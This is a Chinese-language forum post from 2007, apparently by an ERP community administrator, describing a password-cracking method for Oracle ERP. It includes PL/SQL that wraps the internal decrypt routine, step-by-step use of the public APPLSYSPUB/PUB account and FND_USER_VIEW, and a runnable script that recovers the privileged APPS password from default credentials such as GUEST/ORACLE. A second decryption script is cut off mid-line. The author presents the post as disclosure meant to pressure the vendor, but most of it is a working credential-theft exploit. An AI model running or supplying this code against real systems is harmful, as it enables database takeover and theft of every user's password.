|
2007-12-07, 02:12 下午
|
york

 职务: 超级管理员
 等级: 100级
注册: 2004年9月11日
区域: 深圳
经验: 5,047
积分: 3,541
精华: 1
发贴: 892
排名: 5
|
                                                                        
|
|
|
1.写作目的 在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范. 公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点. 2.利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下 (1).建立Package Header CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER AS FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2; END CrackPwd; (2).建立Package Body CREATE OR REPLACE PACKAGE BODY CrackPwd AS FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2) RETURN VARCHAR2 AS LANGUAGE JAVA NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String'; END CrackPwd; / 3.取得APPS密码的步骤 假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的 ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的 密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码 4.通过任何一个User name/password取得APPS密码的方法 SET SERVEROUTPUT ON DECLARE guestUserPwd VARCHAR2(200); guestUserName VARCHAR2(100); guestFndPwd VARCHAR2(100); guestEncFndPwd VARCHAR2(100); delim NUMBER; BEGIN guestUserPwd :='GUEST/ORACLE';--Can any user password IF guestUserPwd IS NULL THEN guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD')); END IF; delim := INSTR(guestUserPwd,'/'); guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1)); SELECT encrypted_foundation_password INTO guestEncFndPwd FROM fnd_user_view WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND (end_date IS NULL OR end_date > SYSDATE); guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd); IF NOT (guestFndPwd IS NULL) THEN DBMS_OUTPUT.put_line(guestFndPwd); END IF; END;
注: guestUserPwd :='GUEST/ORACLE';--Can any user password 上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开 以上程序可以用toad执行 5.通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法 SET SERVEROUT ON DECLARE v_encrypted_pwd VARCHAR2 (100); v_apps_pwd VARCHAR2 (100); v_user_pwd VARCHAR (100); BEGIN v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58 3C10B916D88062771250F4BE653891CA90671C74187B132118335'; --get ENCRYPTED_USER_PASSWORD from fnd_user IF v_apps_pwd IS NULL THEN &nbs
York You ok,so we ok MSN:yorkliu2004@hotmail.com QQ:13092539 Skype:yorkliu2004 我的博客:http://blog.erpclub.org/york/default.aspx
|
|
|
|
|
|
|